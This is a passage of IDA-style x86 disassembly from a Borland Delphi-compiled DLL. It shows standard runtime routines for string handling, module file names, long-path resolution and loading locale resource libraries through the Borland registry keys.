WideCharToMultiByte pop ebp retn 4 sub_10003740 endp ; --------------------------------------------------------------------------- align 10h loc_10003760: ; CODE XREF: CODE:loc_1000385Fj ; CODE:loc_1000388Bj push ebx push esi push edi push ebp add esp, 0FFFFF004h push eax add esp, 0FFFFFFFCh mov esi, ecx mov [esp], edx mov edi, eax test esi, esi jg short loc_10003782 mov eax, edi call sub_10003620 jmp short loc_100037E1 ; --------------------------------------------------------------------------- loc_10003782: ; CODE XREF: CODE:10003777j lea ebp, [esi+1] cmp ebp, 7FFh jge short loc_100037B5 push esi lea eax, [esp+8] mov ecx, [esp+4] mov edx, 0FFFh call sub_10003740 mov ebx, eax test ebx, ebx jl short loc_100037B5 lea edx, [esp+4] mov eax, edi mov ecx, ebx call sub_10003710 jmp short loc_100037E1 ; --------------------------------------------------------------------------- loc_100037B5: ; CODE XREF: CODE:1000378Bj ; CODE:100037A4j mov ebx, ebp add ebx, ebx mov eax, edi mov edx, ebx call sub_100039C8 push esi mov eax, [edi] mov ecx, [esp+4] mov edx, ebx call sub_10003740 mov ebx, eax test ebx, ebx jge short loc_100037D8 xor ebx, ebx loc_100037D8: ; CODE XREF: CODE:100037D4j mov eax, edi mov edx, ebx call sub_100039C8 loc_100037E1: ; CODE XREF: CODE:10003780j ; CODE:100037B3j add esp, 1004h pop ebp pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_100037EC proc near ; CODE XREF: sub_100064F0+8Dp ; sub_100064F0+190p ... push edx mov edx, esp mov ecx, 1 call sub_10003710 pop edx retn sub_100037EC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100037FC proc near ; CODE XREF: sub_100041C0+48p ; sub_1000638C+28p ... xor ecx, ecx test edx, edx jz short loc_10003823 push edx loc_10003803: ; CODE XREF: sub_100037FC+1Dj cmp cl, [edx] jz short loc_1000381E cmp cl, [edx+1] jz short loc_1000381D cmp cl, [edx+2] jz short loc_1000381C cmp cl, [edx+3] jz short loc_1000381B add edx, 4 jmp short loc_10003803 ; --------------------------------------------------------------------------- loc_1000381B: ; CODE XREF: sub_100037FC+18j inc edx loc_1000381C: ; CODE XREF: sub_100037FC+13j inc edx loc_1000381D: ; CODE XREF: sub_100037FC+Ej inc edx loc_1000381E: ; CODE XREF: sub_100037FC+9j mov ecx, edx pop edx sub ecx, edx loc_10003823: ; CODE XREF: sub_100037FC+4j jmp sub_10003710 sub_100037FC endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 loc_1000382C: ; DATA XREF: sub_10005912:loc_10005A44o xor ecx, ecx test edx, edx jz short loc_1000385F push edx loc_10003833: ; CODE XREF: CODE:1000384Dj cmp cx, [edx] jz short loc_10003858 cmp cx, [edx+2] jz short loc_10003855 cmp cx, [edx+4] jz short loc_10003852 cmp cx, [edx+6] jz short loc_1000384F add edx, 8 jmp short loc_10003833 ; --------------------------------------------------------------------------- loc_1000384F: ; CODE XREF: CODE:10003848j add edx, 2 loc_10003852: ; CODE XREF: CODE:10003842j add edx, 2 loc_10003855: ; CODE XREF: CODE:1000383Cj add edx, 2 loc_10003858: ; CODE XREF: CODE:10003836j mov ecx, edx pop edx sub ecx, edx shr ecx, 1 loc_1000385F: ; CODE XREF: CODE:10003830j jmp loc_10003760 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10003868 proc near ; CODE XREF: sub_10004218+36p ; sub_10006D88+BBp ... push edi push eax push ecx mov edi, edx xor eax, eax repne scasb jnz short loc_10003875 not ecx loc_10003875: ; CODE XREF: sub_10003868+9j pop eax add ecx, eax pop eax pop edi jmp sub_10003710 sub_10003868 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_10003880: ; DATA XREF: sub_10005912:loc_10005A4Bo xor ecx, ecx test edx, edx jz short loc_1000388B mov ecx, [edx-4] shr ecx, 1 loc_1000388B: ; CODE XREF: CODE:10003884j jmp loc_10003760 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10003894 proc near ; CODE XREF: sub_100055B0+Ap ; sub_10005BB4+1Fp ... test eax, eax jz short locret_1000389B mov eax, [eax-4] locret_1000389B: ; CODE XREF: sub_10003894+2j retn sub_10003894 endp ; =============== S U B R O U T I N E ======================================= sub_1000389C proc near ; CODE XREF: sub_100064F0+97p ; sub_100064F0+EEp ... test edx, edx jz short locret_100038DF mov ecx, [eax] test ecx, ecx jz sub_10003674 push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, [ecx-4] mov edx, [esi-4] add edx, edi cmp esi, ecx jz short loc_100038D4 call sub_100039C8 mov eax, esi mov ecx, [esi-4] loc_100038C7: ; CODE XREF: sub_1000389C+41j mov edx, [ebx] add edx, edi call sub_1000263C pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_100038D4: ; CODE XREF: sub_1000389C+1Fj call sub_100039C8 mov eax, [ebx] mov ecx, edi jmp short loc_100038C7 ; --------------------------------------------------------------------------- locret_100038DF: ; CODE XREF: sub_1000389C+2j retn sub_1000389C endp ; =============== S U B R O U T I N E ======================================= sub_100038E0 proc near ; CODE XREF: sub_1000757C+27Bp ; sub_1000757C+298p var_14 = dword ptr -14h push ebx push esi push edi push edx push eax mov ebx, edx xor edi, edi mov ecx, [esp+edx*4+14h] test ecx, ecx jz short loc_100038FD cmp [eax], ecx jnz short loc_100038FD mov edi, ecx mov eax, [ecx-4] dec edx jmp short loc_100038FF ; --------------------------------------------------------------------------- loc_100038FD: ; CODE XREF: sub_100038E0+Fj ; sub_100038E0+13j xor eax, eax loc_100038FF: ; CODE XREF: sub_100038E0+1Bj ; sub_100038E0+31j mov ecx, [esp+edx*4+14h] test ecx, ecx jz short loc_10003910 add eax, [ecx-4] cmp edi, ecx jnz short loc_10003910 xor edi, edi loc_10003910: ; CODE XREF: sub_100038E0+25j ; sub_100038E0+2Cj dec edx jnz short loc_100038FF test edi, edi jz short loc_1000392E mov edx, eax mov eax, [esp+14h+var_14] mov esi, [edi-4] call sub_100039C8 mov edi, [esp+14h+var_14] push dword ptr [edi] add esi, [edi] dec ebx jmp short loc_10003936 ; --------------------------------------------------------------------------- loc_1000392E: ; CODE XREF: sub_100038E0+35j call sub_100036E4 push eax mov esi, eax loc_10003936: ; CODE XREF: sub_100038E0+4Cj ; sub_100038E0+6Bj mov eax, [esp+ebx*4+18h] mov edx, esi test eax, eax jz short loc_1000394A mov ecx, [eax-4] add esi, ecx call sub_1000263C loc_1000394A: ; CODE XREF: sub_100038E0+5Ej dec ebx jnz short loc_10003936 pop edx pop eax test edi, edi jnz short loc_1000395F test edx, edx jz short loc_1000395A dec dword ptr [edx-8] loc_1000395A: ; CODE XREF: sub_100038E0+75j call sub_10003674 loc_1000395F: ; CODE XREF: sub_100038E0+71j pop edx pop edi pop esi pop ebx pop eax lea esp, [esp+edx*4] jmp eax sub_100038E0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_1000396C proc near ; CODE XREF: sub_10008558+11p test eax, eax jz short locret_1000397A mov edx, [eax-8] inc edx jle short locret_1000397A lock inc dword ptr [eax-8] locret_1000397A: ; CODE XREF: sub_1000396C+2j ; sub_1000396C+8j retn sub_1000396C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_1000397C proc near ; CODE XREF: sub_100055B0+13p ; CODE:100067D8p ... test eax, eax jz short loc_10003982 retn ; --------------------------------------------------------------------------- byte_10003981 db 0 ; DATA XREF: sub_1000397C:loc_10003982o ; --------------------------------------------------------------------------- loc_10003982: ; CODE XREF: sub_1000397C+2j mov eax, offset byte_10003981 retn sub_1000397C endp ; =============== S U B R O U T I N E ======================================= sub_10003988 proc near ; CODE XREF: sub_10005600+20p ; sub_100064F0+E4p ... arg_0 = dword ptr 4 push ebx test eax, eax jz short loc_100039BA mov ebx, [eax-4] test ebx, ebx jz short loc_100039BA dec edx jl short loc_100039B2 cmp edx, ebx jge short loc_100039BA loc_1000399B: ; CODE XREF: sub_10003988+2Cj sub ebx, edx test ecx, ecx jl short loc_100039BA cmp ecx, ebx jg short loc_100039B6 loc_100039A5: ; CODE XREF: sub_10003988+30j add edx, eax mov eax, [esp+4+arg_0] call sub_10003710 jmp short loc_100039C3 ; --------------------------------------------------------------------------- loc_100039B2: ; CODE XREF: sub_10003988+Dj xor edx, edx jmp short loc_1000399B ; --------------------------------------------------------------------------- loc_100039B6: ; CODE XREF: sub_10003988+1Bj mov ecx, ebx jmp short loc_100039A5 ; --------------------------------------------------------------------------- loc_100039BA: ; CODE XREF: sub_10003988+3j ; sub_10003988+Aj ... mov eax, [esp+4+arg_0] call sub_10003620 loc_100039C3: ; CODE XREF: sub_10003988+28j pop ebx retn 4 sub_10003988 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_100039C8 proc near ; CODE XREF: CODE:100037BDp ; CODE:100037DCp ... push ebx push esi push edi mov ebx, eax mov esi, edx xor edi, edi test edx, edx jle short loc_10003A1D mov eax, [ebx] test eax, eax jz short loc_100039FE cmp dword ptr [eax-8], 1 jnz short loc_100039FE sub eax, 8 add edx, 9 push eax mov eax, esp call sub_10002538 pop eax add eax, 8 mov [ebx], eax mov [eax-4], esi mov byte ptr [esi+eax], 0 jmp short loc_10003A26 ; --------------------------------------------------------------------------- loc_100039FE: ; CODE XREF: sub_100039C8+11j ; sub_100039C8+17j mov eax, edx call sub_100036E4 mov edi, eax mov eax, [ebx] test eax, eax jz short loc_10003A1D mov edx, edi mov ecx, [eax-4] cmp ecx, esi jl short loc_10003A18 mov ecx, esi loc_10003A18: ; CODE XREF: sub_100039C8+4Cj call sub_1000263C loc_10003A1D: ; CODE XREF: sub_100039C8+Bj ; sub_100039C8+43j mov eax, ebx call sub_10003620 mov [ebx], edi loc_10003A26: ; CODE XREF: sub_100039C8+34j pop edi pop esi pop ebx retn sub_100039C8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10003A2C proc near ; CODE XREF: sub_10003AB4+67p ; sub_10007C50+158p mov edx, [eax] test edx, edx jz short locret_10003A40 mov dword ptr [eax], 0 push eax push edx call sub_10001130 pop eax locret_10003A40: ; CODE XREF: sub_10003A2C+4j retn sub_10003A2C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10003A44 proc near ; CODE XREF: sub_10003AB4+70p push ebx push esi mov ebx, eax mov esi, edx loc_10003A4A: ; CODE XREF: sub_10003A44+1Cj mov eax, [ebx] test eax, eax jz short loc_10003A5C mov dword ptr [ebx], 0 push eax call sub_10001130 loc_10003A5C: ; CODE XREF: sub_10003A44+Aj add ebx, 4 dec esi jnz short loc_10003A4A pop esi pop ebx retn sub_10003A44 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10003A68 proc near ; CODE XREF: sub_10002CF0+12p ; sub_10003AB4+AFp xor ecx, ecx push ebx mov cl, [edx+1] push esi push edi mov ebx, eax lea esi, [ecx+edx+0Ah] mov edi, [ecx+edx+6] loc_10003A7A: ; CODE XREF: sub_10003A68+29j mov edx, [esi] mov eax, [esi+4] add eax, ebx mov edx, [edx] mov ecx, 1 call sub_10003AB4 add esi, 8 dec edi jg short loc_10003A7A mov eax, ebx pop edi pop esi pop ebx retn sub_10003A68 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10003A9C proc near ; CODE XREF: sub_10003AB4+7Cp cmp ds:dword_1000900C, 0 jz short loc_10003AAC call ds:dword_1000900C retn ; --------------------------------------------------------------------------- loc_10003AAC: ; CODE XREF: sub_10003A9C+7j mov al, 10h call sub_100025E0 sub_10003A9C endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_10003AB4 proc near ; CODE XREF: sub_10003A68+20p ; sub_10003AB4+99p ... cmp ecx, 0 jz locret_10003B9D push eax push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, ecx xor edx, edx mov al, [esi] mov dl, [esi+1] cmp al, 0Ah jz short loc_10003AF7 cmp al, 0Bh jz short loc_10003B14 cmp al, 0Ch jz short loc_10003B2B cmp al, 0Dh jz short loc_10003B3A cmp al, 0Eh jz short loc_10003B58 cmp al, 0Fh jz loc_10003B6E cmp al, 11h jz loc_10003B7D jmp loc_10003B8E ; --------------------------------------------------------------------------- loc_10003AF7: ; CODE XREF: sub_10003AB4+1Cj cmp ecx, 1 mov eax, ebx jg short loc_10003B08 call sub_10003620 jmp loc_10003B99 ; --------------------------------------------------------------------------- loc_10003B08: ; CODE XREF: sub_10003AB4+48j mov edx, ecx call sub_10003644 jmp loc_10003B99 ; --------------------------------------------------------------------------- loc_10003B14: ; CODE XREF: sub_10003AB4+20j cmp ecx, 1 mov eax, ebx jg short loc_10003B22 call sub_10003A2C jmp short loc_10003B99 ; --------------------------------------------------------------------------- loc_10003B22: ; CODE XREF: sub_10003AB4+65j mov edx, ecx call sub_10003A44 jmp short loc_10003B99 ; --------------------------------------------------------------------------- loc_10003B2B: ; CODE XREF: sub_10003AB4+24j ; sub_10003AB4+82j mov eax, ebx add ebx, 10h call sub_10003A9C dec edi jg short loc_10003B2B jmp short loc_10003B99 ; --------------------------------------------------------------------------- loc_10003B3A: ; CODE XREF: sub_10003AB4+28j push ebp mov ebp, edx loc_10003B3D: ; CODE XREF: sub_10003AB4+9Fj mov edx, [esi+ebp+0Ah] mov eax, ebx add ebx, [esi+ebp+2] mov ecx, [esi+ebp+6] mov edx, [edx] call sub_10003AB4 dec edi jg short loc_10003B3D pop ebp jmp short loc_10003B99 ; --------------------------------------------------------------------------- loc_10003B58: ; CODE XREF: sub_10003AB4+2Cj push ebp mov ebp, edx loc_10003B5B: ; CODE XREF: sub_10003AB4+B5j mov eax, ebx add ebx, [esi+ebp+2] mov edx, esi call sub_10003A68 dec edi jg short loc_10003B5B pop ebp jmp short loc_10003B99 ; --------------------------------------------------------------------------- loc_10003B6E: ; CODE XREF: sub_10003AB4+30j ; sub_10003AB4+C5j mov eax, ebx add ebx, 4 call sub_10004190 dec edi jg short loc_10003B6E jmp short loc_10003B99 ; --------------------------------------------------------------------------- loc_10003B7D: ; CODE XREF: sub_10003AB4+38j ; sub_10003AB4+D6j mov eax, ebx mov edx, esi add ebx, 4 call sub_10003BCC dec edi jg short loc_10003B7D jmp short loc_10003B99 ; --------------------------------------------------------------------------- loc_10003B8E: ; CODE XREF: sub_10003AB4+3Ej pop edi pop esi pop ebx pop eax mov al, 2 jmp sub_100025E0 ; --------------------------------------------------------------------------- loc_10003B99: ; CODE XREF: sub_10003AB4+4Fj ; sub_10003AB4+5Bj ... pop edi pop esi pop ebx pop eax locret_10003B9D: ; CODE XREF: sub_10003AB4+3j retn sub_10003AB4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_10003BA0 proc near ; DATA XREF: sub_100042EC+40o ; BSS:off_1000A000o mov al, 11h jmp sub_100025E0 sub_10003BA0 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_10003BA8 proc near ; CODE XREF: sub_10005638+43p ; sub_10005638+5Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edx push eax mov eax, [esp+8+arg_4] mul [esp+8+var_8] mov ecx, eax mov eax, [esp+8+var_4] mul [esp+8+arg_0] add ecx, eax mov eax, [esp+8+var_8] mul [esp+8+arg_0] add edx, ecx pop ecx pop ecx retn 8 sub_10003BA8 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_10003BCC proc near ; CODE XREF: sub_10003AB4+D0p ; sub_10007C50+85p ... mov ecx, [eax] test ecx, ecx jz short locret_10003C05 mov dword ptr [eax], 0 lock dec dword ptr [ecx-8] jnz short locret_10003C05 push eax mov eax, ecx xor ecx, ecx mov cl, [edx+1] mov edx, [ecx+edx+6] test edx, edx jz short loc_10003BFC mov ecx, [eax-4] test ecx, ecx jz short loc_10003BFC mov edx, [edx] call sub_10003AB4 loc_10003BFC: ; CODE XREF: sub_10003BCC+20j ; sub_10003BCC+27j sub eax, 8 call sub_10002518 pop eax locret_10003C05: ; CODE XREF: sub_10003BCC+4j ; sub_10003BCC+10j retn sub_10003BCC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10003C08 proc near ; CODE XREF: sub_10003C50+1Bp var_110 = byte ptr -110h push ebx push esi add esp, 0FFFFFEF8h mov ebx, eax cmp dword ptr [ebx+10h], 0 jnz short loc_10003C43 push 105h lea eax, [esp+114h+var_110] push eax mov eax, [ebx+4] push eax call sub_100010C8 ; GetModuleFileNameA mov eax, esp mov dl, 1 call sub_10003E44 mov esi, eax mov [ebx+10h], esi test esi, esi jnz short loc_10003C43 mov eax, [ebx+4] mov [ebx+10h], eax loc_10003C43: ; CODE XREF: sub_10003C08+Ej ; sub_10003C08+33j mov eax, [ebx+10h] add esp, 108h pop esi pop ebx retn sub_10003C08 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10003C50 proc near ; CODE XREF: sub_100041C0+2Bp ; CODE:10006810p ... mov edx, ds:dword_10009024 test edx, edx jz short locret_10003C77 loc_10003C5A: ; CODE XREF: sub_10003C50+25j cmp eax, [edx+4] jz short loc_10003C69 cmp eax, [edx+8] jz short loc_10003C69 cmp eax, [edx+0Ch] jnz short loc_10003C71 loc_10003C69: ; CODE XREF: sub_10003C50+Dj ; sub_10003C50+12j mov eax, edx call sub_10003C08 retn ; --------------------------------------------------------------------------- loc_10003C71: ; CODE XREF: sub_10003C50+17j mov edx, [edx] test edx, edx jnz short loc_10003C5A locret_10003C77: ; CODE XREF: sub_10003C50+8j retn sub_10003C50 endp ; =============== S U B R O U T I N E ======================================= sub_10003C78 proc near ; CODE XREF: sub_10003C8C+83p ; sub_10003C8C+96p ... jmp short loc_10003C80 ; --------------------------------------------------------------------------- loc_10003C7A: ; CODE XREF: sub_10003C78+11j push eax call sub_10001088 ; CharNextA loc_10003C80: ; CODE XREF: sub_10003C78j mov dl, [eax] test dl, dl jz short locret_10003C8B cmp dl, 5Ch jnz short loc_10003C7A locret_10003C8B: ; CODE XREF: sub_10003C78+Cj retn sub_10003C78 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10003C8C proc near ; CODE XREF: sub_10003E44+A3p var_24F = byte ptr -24Fh var_14A = byte ptr -14Ah var_11E = byte ptr -11Eh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFDB0h push ebx push esi push edi mov [ebp+var_8], edx mov [ebp+var_4], eax mov eax, [ebp+var_4] mov [ebp+var_C], eax push offset dword_10003E20 call sub_100010D0 ; GetModuleHandleA mov esi, eax test esi, esi jz short loc_10003CF4 push offset aGetlongpathnam ; "GetLongPathNameA" push esi call sub_100010D8 ; GetProcAddress mov ebx, eax test ebx, ebx jz short loc_10003CF4 push 105h lea eax, [ebp+var_24F] push eax mov eax, [ebp+var_4] push eax call ebx test eax, eax jz short loc_10003CF4 mov eax, [ebp+var_8] push eax lea eax, [ebp+var_24F] push eax mov eax, [ebp+var_4] push eax call sub_10001100 ; lstrcpyn jmp loc_10003E16 ; --------------------------------------------------------------------------- loc_10003CF4: ; CODE XREF: sub_10003C8C+26j ; sub_10003C8C+37j ... mov eax, [ebp+var_4] cmp byte ptr [eax], 5Ch jnz short loc_10003D34 mov eax, [ebp+var_4] cmp byte ptr [eax+1], 5Ch jnz loc_10003E16 mov eax, [ebp+var_4] add eax, 2 call sub_10003C78 mov esi, eax cmp byte ptr [esi], 0 jz loc_10003E16 lea eax, [esi+1] call sub_10003C78 mov esi, eax cmp byte ptr [esi], 0 jz loc_10003E16 jmp short loc_10003D3A ; --------------------------------------------------------------------------- loc_10003D34: ; CODE XREF: sub_10003C8C+6Ej mov esi, [ebp+var_4] add esi, 2 loc_10003D3A: ; CODE XREF: sub_10003C8C+A6j mov ebx, esi sub ebx, [ebp+var_4] lea eax, [ebx+1] push eax mov eax, [ebp+var_4] push eax lea eax, [ebp+var_24F] push eax call sub_10001100 ; lstrcpyn jmp loc_10003DF9 ; --------------------------------------------------------------------------- loc_10003D58: ; CODE XREF: sub_10003C8C+170j lea eax, [esi+1] call sub_10003C78 mov edi, eax mov eax, edi sub eax, esi mov edx, eax add edx, ebx inc edx cmp edx, 105h jg loc_10003E16 inc eax push eax push esi lea eax, [ebp+var_24F] add eax, ebx push eax call sub_10001100 ; lstrcpyn lea eax, [ebp+var_14A] push eax lea eax, [ebp+var_24F] push eax call sub_100010A8 ; FindFirstFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_10003E16 push esi call sub_100010A0 ; FindClose lea eax, [ebp+var_11E] push eax call sub_10001108 ; lstrlen lea edx, [ebx+1] add eax, edx inc eax cmp eax, 105h jg short loc_10003E16 mov [ebp+ebx+var_24F], 5Ch mov eax, 105h sub eax, ebx dec eax push eax lea eax, [ebp+var_11E] push eax lea eax, [ebp+var_24F] add eax, ebx inc eax push eax call sub_10001100 ; lstrcpyn lea eax, [ebp+var_11E] push eax call sub_10001108 ; lstrlen inc eax add ebx, eax mov esi, edi loc_10003DF9: ; CODE XREF: sub_10003C8C+C7j cmp byte ptr [esi], 0 jnz loc_10003D58 mov eax, [ebp+var_8] push eax lea eax, [ebp+var_24F] push eax mov eax, [ebp+var_4] push eax call sub_10001100 ; lstrcpyn loc_10003E16: ; CODE XREF: sub_10003C8C+63j ; sub_10003C8C+77j ... mov eax, [ebp+var_C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_10003C8C endp ; --------------------------------------------------------------------------- dword_10003E20 dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 ; DATA XREF: sub_10003C8C+18o aGetlongpathnam db 'GetLongPathNameA',0 ; DATA XREF: sub_10003C8C+28o align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10003E44 proc near ; CODE XREF: sub_10003C08+27p var_11D = byte ptr -11Dh var_18 = dword ptr -18h var_12 = byte ptr -12h var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_B = byte ptr -0Bh var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFEE0h push ebx push esi mov [ebp+var_4], eax push 105h lea eax, [ebp+var_11D] push eax push 0 call sub_100010C8 ; GetModuleFileNameA mov [ebp+var_12], 0 lea eax, [ebp+var_8] push eax push 0F0019h push 0 push offset aSoftwareBorl_0 ; "Software\\Borland\\Locales" push 80000001h call sub_10001118 ; RegOpenKeyExA test eax, eax jz short loc_10003EC7 lea eax, [ebp+var_8] push eax push 0F0019h push 0 push offset aSoftwareBorl_0 ; "Software\\Borland\\Locales" push 80000002h call sub_10001118 ; RegOpenKeyExA test eax, eax jz short loc_10003EC7 lea eax, [ebp+var_8] push eax push 0F0019h push 0 push offset aSoftwareBorl_1 ; "Software\\Borland\\Delphi\\Locales" push 80000001h call sub_10001118 ; RegOpenKeyExA test eax, eax jnz loc_10003F50 loc_10003EC7: ; CODE XREF: sub_10003E44+41j ; sub_10003E44+5Fj xor eax, eax push ebp push offset loc_10003F49 push dword ptr fs:[eax] mov fs:[eax], esp mov [ebp+var_18], 5 lea eax, [ebp+var_11D] mov edx, 105h call sub_10003C8C lea eax, [ebp+var_18] push eax lea eax, [ebp+var_12] push eax push 0 push 0 lea eax, [ebp+var_11D] push eax mov eax, [ebp+var_8] push eax call sub_10001120 ; RegQueryValueExA test eax, eax jz short loc_10003F2E lea eax, [ebp+var_18] push eax lea eax, [ebp+var_12] push eax push 0 push 0 push offset dword_100040B0 mov eax, [ebp+var_8] push eax call sub_10001120 ; RegQueryValueExA test eax, eax jz short loc_10003F2E mov [ebp+var_12], 0 loc_10003F2E: ; CODE XREF: sub_10003E44+C6j ; sub_10003E44+E4j mov [ebp+var_E], 0 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_10003F50 loc_10003F3F: ; CODE XREF: sub_10003E44+10Aj mov eax, [ebp+var_8] push eax call sub_10001110 ; RegCloseKey retn ; --------------------------------------------------------------------------- loc_10003F49: ; DATA XREF: sub_10003E44+86o jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_10003F3F ; --------------------------------------------------------------------------- loc_10003F50: ; CODE XREF: sub_10003E44+7Dj ; DATA XREF: sub_10003E44+F6o push 105h mov eax, [ebp+var_4] push eax lea eax, [ebp+var_11D] push eax call sub_10001100 ; lstrcpyn push 5 lea eax, [ebp+var_D] push eax push 3 call sub_100010E8 ; GetThreadLocale push eax call sub_100010C0 ; GetLocaleInfoA xor esi, esi cmp [ebp+var_11D], 0 jz loc_1000406A cmp [ebp+var_D], 0 jnz short loc_10003F97 cmp [ebp+var_12], 0 jz loc_1000406A loc_10003F97: ; CODE XREF: sub_10003E44+147j lea eax, [ebp+var_11D] push eax call sub_10001108 ; lstrlen mov ebx, eax lea eax, [ebp+var_11D] add ebx, eax jmp short loc_10003FB0 ; --------------------------------------------------------------------------- loc_10003FAF: ; CODE XREF: sub_10003E44+179j dec ebx loc_10003FB0: ; CODE XREF: sub_10003E44+169j cmp byte ptr [ebx], 2Eh jz short loc_10003FBF lea eax, [ebp+var_11D] cmp ebx, eax jnz short loc_10003FAF loc_10003FBF: ; CODE XREF: sub_10003E44+16Fj lea eax, [ebp+var_11D] cmp ebx, eax jz loc_1000406A inc ebx cmp [ebp+var_12], 0 jz short loc_10003FFC mov edx, ebx sub edx, eax mov eax, 105h sub eax, edx push eax lea eax, [ebp+var_12] push eax push ebx call sub_10001100 ; lstrcpyn push 2 push 0 lea eax, [ebp+var_11D] push eax call sub_100010F0 ; LoadLibraryExA mov esi, eax loc_10003FFC: ; CODE XREF: sub_10003E44+18Ej test esi, esi jnz short loc_1000406A cmp [ebp+var_D], 0 jz short loc_1000406A lea eax, [ebp+var_11D] mov edx, ebx sub edx, eax mov eax, 105h sub eax, edx push eax lea eax, [ebp+var_D] push eax push ebx call sub_10001100 ; lstrcpyn push 2 push 0 lea eax, [ebp+var_11D] push eax call sub_100010F0 ; LoadLibraryExA mov esi, eax test esi, esi jnz short loc_1000406A mov [ebp+var_B], 0 lea eax, [ebp+var_11D] mov edx, ebx sub edx, eax mov eax, 105h sub eax, edx push eax lea eax, [ebp+var_D] push eax push ebx call sub_10001100 ; lstrcpyn push 2 push 0 lea eax, [ebp+var_11D] push eax call sub_100010F0 ; LoadLibraryExA mov esi, eax loc_1000406A: ; CODE XREF: sub_10003E44+13Dj ; sub_10003E44+14Dj ... mov eax, esi pop esi pop ebx mov esp, ebp pop ebp retn sub_10003E44 endp ; --------------------------------------------------------------------------- align 4 aSoftwareBorl_0 db 'Software\Borland\Locales',0 ; DATA XREF: sub_10003E44+30o ; sub_10003E44+4Eo align 10h aSoftwareBorl_1 db 'Software\Borland\Delphi\Locales',0 ; DATA XREF: sub_10003E44+6Co dword_100040B0 dd 0 ; DATA XREF: sub_10003E44+D4o ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100040B4 proc near ; CODE XREF: sub_10004120+1Bp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov [ebp+var_4], eax mov eax, ds:dword_10009028 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_10004107 loc_100040CE: ; CODE XREF: sub_100040B4+51j xor eax, eax push ebp push offset loc_100040EF push dword ptr fs:[eax] mov fs:[eax], esp mov ebx, [ebp+var_8] mov eax, [ebp+var_4] call dword ptr [ebx+4] xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_100040F9 ; --------------------------------------------------------------------------- loc_100040EF: ; DATA XREF: sub_100040B4+1Do jmp sub_10002F1C ; --------------------------------------------------------------------------- call sub_100030FC loc_100040F9: ; CODE XREF: sub_100040B4+39j mov eax, [ebp+var_8] mov eax, [eax] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_100040CE loc_10004107: ; CODE XREF: sub_100040B4+18j pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn sub_100040B4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10004110 proc near ; CODE XREF: sub_100044A0+5p mov edx, ds:dword_10009024 mov [eax], edx mov ds:dword_10009024, eax retn sub_10004110 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10004120 proc near ; CODE XREF: sub_10003530+70p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], eax xor edx, edx push ebp push offset loc_10004184 push dword ptr fs:[edx] mov fs:[edx], esp mov eax, [ebp+var_4] mov eax, [eax+4] call sub_100040B4 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_1000418B loc_1000414D: ; CODE XREF: sub_10004120+69j mov eax, [ebp+var_4] cmp eax, ds:dword_10009024 jnz short loc_10004164 mov eax, [ebp+var_4] mov eax, [eax] mov ds:dword_10009024, eax jmp short loc_10004183 ; --------------------------------------------------------------------------- loc_10004164: ; CODE XREF: sub_10004120+36j mov eax, ds:dword_10009024 test eax, eax jz short loc_10004183 loc_1000416D: ; CODE XREF: sub_10004120+61j mov edx, [eax] cmp edx, [ebp+var_4] jnz short loc_1000417D mov edx, [ebp+var_4] mov edx, [edx] mov [eax], edx jmp short 